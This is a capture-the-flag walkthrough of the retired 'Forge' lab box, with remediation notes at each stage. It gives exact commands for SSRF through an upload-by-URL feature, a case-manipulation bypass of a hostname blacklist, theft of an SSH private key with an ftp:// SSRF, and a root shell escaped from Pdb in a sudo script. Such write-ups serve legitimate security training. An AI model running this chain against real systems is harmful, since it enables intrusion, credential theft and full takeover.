← all walkthroughs

Forge

Linux· Medium· Privilege Escalation
owned
2026-07-15
time to own
15m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The web application on forge.htb provided an image-upload-by-URL feature that fetched any my own address with no network or scheme controls, creating a Server-Side Request Forgery (SSRF) channel. An internal administrative virtual host — admin.forge.htb, blocked at the network perimeter — was reached by capitalising a single character in the hostname to slip past a case-sensitive string blacklist.

The admin panel's announcements page disclosed FTP credentials in cleartext. The same SSRF channel, this time invoked with an ftp:// URL, was then aimed at the internally-firewalled FTP service on localhost, streaming the system user's SSH private key to me.

With that key in hand, I opened an SSH session as the system user and found that a Python management script could be executed as root via sudo. Supplying the script with an unreachable hostname triggered an unhandled exception that dropped the process into Python's interactive debugger (Pdb) — with root privileges still attached — and a single debugger command spawned a root shell, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationVirtual-host enumeration (T1046 / subdomain brute-force)
Mapped the attack surface and discovered the internal-only admin virtual host
A full-port Nmap service scan against the target revealed only two open services: SSH on port 22 and Apache HTTP on port 80. Adding forge.htb to the local hosts file exposed a gallery-style web application. Virtual-host enumeration with Gobuster, discarding 302-redirect results, uncovered admin.forge.htb. Directly curling that hostname from my machine produced a redirect (effectively a block), confirming it was reachable only from the server itself — an internal-only admin panel invisible to normal internet users.
Gobuster returned admin.forge.htb with a non-redirect status code; a direct curl from my host received an HTTP 302, blocking external access.
Exact commands 4
Full-port service scan to build the open port inventory.
nmap -sV -sC -p- --min-rate 5000 $TARGET
Register the primary virtual host for name resolution.
echo "$TARGET forge.htb" | sudo tee -a /etc/hosts
Enumerate virtual hosts and filter redirect responses to surface valid internal vhosts.
gobuster vhost -u http://forge.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain 2>/dev/null | grep -v '302'
Confirm admin.forge.htb is externally inaccessible (expect a 302 redirect away).
echo "$TARGET admin.forge.htb" | sudo tee -a /etc/hosts && curl -si http://admin.forge.htb/
2DiscoveryServer-Side Request Forgery (CWE-918 / T1190)
Confirmed the URL-upload feature performs server-side fetches — classic SSRF
The main forge.htb site included an upload page (/upload) that accepted a remote URL and retrieved the resource server-side, returning a link to the cached copy. Submitting a URL pointing to my own listener confirmed the server made outbound HTTP requests — establishing a Server-Side Request Forgery primitive. The feature also accepted non-HTTP URL schemes, which would later allow FTP-based file retrieval.
POST to /upload with url=http://$ATTACKER_IP:8000/probe triggered an inbound connection in my HTTP listener, confirming server-initiated outbound fetch.
Exact commands 2
Listener to catch the outbound server request; run in a background terminal.
python3 -m http.server 8000
Trigger the upload-by-URL feature; an inbound hit on the listener confirms SSRF. Replace $ATTACKER_IP with your VPN address.
curl -s -X POST http://forge.htb/upload -d "url=http://$ATTACKER_IP:8000/probe"
FixEliminate the SSRF by replacing URL-fetch with an allowlist or removing the featureCritical
WeaknessThe image-upload feature fetched any URL supplied by the user — including internal network addresses — without validating the destination. This gave an unauthorised user an on-demand proxy into services deliberately hidden behind the firewall.
FixIf remote URL fetching is a genuine business requirement, enforce a strict allowlist of approved external domains (not a blocklist of bad ones) and resolve the final IP address before making the request to prevent DNS-rebinding bypasses. Block all RFC-1918, loopback, and link-local address ranges at the resolved-IP level. Restrict accepted schemes to https:// only. If the feature is not required, remove it entirely.
3ExploitationSSRF hostname-filter bypass via case manipulation (CWE-178 / T1190)
Bypassed the hostname blacklist with a single capital letter to reach the admin panel and steal FTP credentials
The upload feature blocked requests to 'localhost', '127.0.0.1', and 'admin.forge.htb' with a case-sensitive string comparison. Changing the submission to 'Admin.Forge.htb' produced a string the filter did not recognise — yet DNS resolved it to the same internal host. The SSRF fetched http://Admin.Forge.htb/announcements, whose body contained plaintext FTP credentials (user / [REDACTED: recovered credential]) intended only for internal consumption.
POST with url=http://admin.forge.htb/ was rejected; url=http://Admin.Forge.htb/announcements succeeded and the cached response body disclosed FTP credentials.
Exact commands 4
Confirm the exact blocked hostname is rejected (expected error/block response).
curl -s -X POST http://forge.htb/upload -d 'url=http://admin.forge.htb/'
Submit the mixed-case bypass; the server returns a /uploads/<hash> URL to the fetched content.
curl -s -X POST http://forge.htb/upload --data-urlencode 'url=http://Admin.Forge.htb/'
Fetch the announcements sub-page that holds the FTP credentials.
curl -s -X POST http://forge.htb/upload --data-urlencode 'url=http://Admin.Forge.htb/announcements'
Retrieve and read the cached admin page body. Replace <hash> with the value returned above.
curl -s http://forge.htb/uploads/<hash>
FixNormalise hostnames to lowercase before any blocklist comparisonHigh
WeaknessThe URL blocklist compared user-supplied hostnames against blocked values using case-sensitive string matching. Capitalising a single character (Admin.Forge.htb) produced a string that bypassed every check while DNS resolved it identically to the blocked host.
FixConvert all hostname components to lowercase — or canonicalise using the WHATWG URL parser — before any comparison.
4ExfiltrationSSRF via non-HTTP scheme (ftp://) for internal file exfiltration (CWE-918)
Tunnelled an authenticated FTP connection through the SSRF to steal the user's SSH private key
The FTP service on port 21 was firewalled from the internet but reachable from the server's own loopback interface. Using the harvested FTP credentials and the same SSRF upload endpoint, an ftp:// URL was constructed to first list the FTP home directory and then retrieve /home/user/.ssh/id_rsa — the RSA private key for the system account. The server acted as an unwitting FTP client, fetching the key and making it available at a cached-content URL I then downloaded.
POST url=ftp://$USERNAME:$PASSWORD@127.0.0.1/home/user/.ssh/id_rsa returned a /uploads/<hash> link whose body was a complete RSA private key (BEGIN OPENSSH PRIVATE KEY).
Exact commands 4
List the FTP home directory to confirm authenticated access and identify files of interest.
curl -s -X POST http://forge.htb/upload --data-urlencode "url=ftp://$USERNAME:$PASSWORD@127.0.0.1/"
Read the FTP directory listing returned by the previous command.
curl -s http://forge.htb/uploads/<hash>
Exfiltrate the user's SSH private key; note the new uploads hash in the response.
curl -s -X POST http://forge.htb/upload --data-urlencode "url=ftp://$USERNAME:$PASSWORD@127.0.0.1/home/user/.ssh/id_rsa"
Save the private key to a local file ready for immediate SSH use.
curl -s http://forge.htb/uploads/<hash> > id_rsa
FixRestrict the URL-upload feature to the HTTPS scheme onlyHigh
WeaknessThe URL-fetch function accepted non-HTTP schemes including ftp://, allowing an unauthorised user to forward authenticated FTP requests through the server's loopback interface and retrieve files from a service that was intentionally firewalled from the internet.
FixAfter parsing the submitted URL, verify that the scheme is exactly https and reject anything else (ftp://, file://, gopher://, dict://, sftp://, etc.) before dispatching the request. Apply this check on the parsed scheme value, not by inspecting the raw string prefix, to avoid trivial bypass variations such as FTP://, fTp://, or URL-encoding.
5FootholdSSH authentication with a stolen private key (T1078 — Valid Accounts)
Logged in as the system user via the stolen SSH private key — captured user flag
The retrieved private key was saved locally and its permissions set to 600 (SSH refuses world-readable key files). A password-free SSH session opened immediately as the 'user' account. The user-level flag was readable in the home directory, confirming full authenticated access to the system.
SSH connected as user@forge without a password challenge; cat /home/user/user.txt yielded <user.txt>.
Exact commands 3
Restrict key file permissions — SSH rejects keys that are group- or world-readable.
chmod 600 id_rsa
Authenticate using the exfiltrated private key; no password required.
ssh -i id_rsa user@$TARGET
Capture the user-level flag: <user.txt>.
cat /home/user/user.txt
6Privilege EscalationPdb interactive-debugger escape in a root-owned sudo script (T1548.003 — Sudo and Sudo Caching)
Triggered Python's interactive debugger inside a root sudo script and escaped to a root shell
Running sudo -l showed that the user account could execute /opt/remote-manage.py with the Python 3 interpreter as root, with no password required. The script expected a valid hostname and port to connect to; providing an unreachable host caused an unhandled exception. Instead of exiting cleanly, the script dropped into Python's built-in interactive debugger (Pdb) — still running with root privileges. Typing a one-line Python statement at the Pdb prompt imported the os module and spawned /bin/bash, producing a root shell from which the root flag was read.
Sudo -l listed NOPASSWD: /usr/bin/python3 /opt/remote-manage.py; supplying an invalid host triggered the (Pdb) prompt running as uid=0; /bin/bash spawned as root.
Exact commands 4
List sudo permissions; expect a NOPASSWD entry for /opt/remote-manage.py.
sudo -l
Launch the privileged script. When prompted for a hostname, enter an unreachable or malformed value (e.g. 'x') to provoke the unhandled exception and drop into Pdb.
sudo /usr/bin/python3 /opt/remote-manage.py
Type this at the (Pdb) > prompt to break out of the debugger into a root shell.
import os; os.system('/bin/bash')
Confirm uid=0 and capture the root flag: <root.txt>.
id && cat /root/root.txt
FixRemove the interactive Python debugger from the root-privileged sudo scriptCritical
WeaknessThe management script handled unexpected exceptions by entering Python's interactive debugger (Pdb), which inherits the full privileges of the running process. Because sudo granted execution as root with no password, any user who could invoke the script could deliberately trigger the exception and use the debugger's exec/eval to run arbitrary commands as root.
FixReplace every bare except or Pdb-invoking exception handler with a structured try/except block that logs the error and calls sys.exit(1). Never ship interactive debuggers in production code. Additionally, audit whether the sudo rule is still operationally required: if it is, narrow it to the exact interpreter path and script name, add NOEXEC where the OS supports it, and consider running the script as a dedicated low-privilege service account rather than root.

Exposed services

22/tcp
80/tcp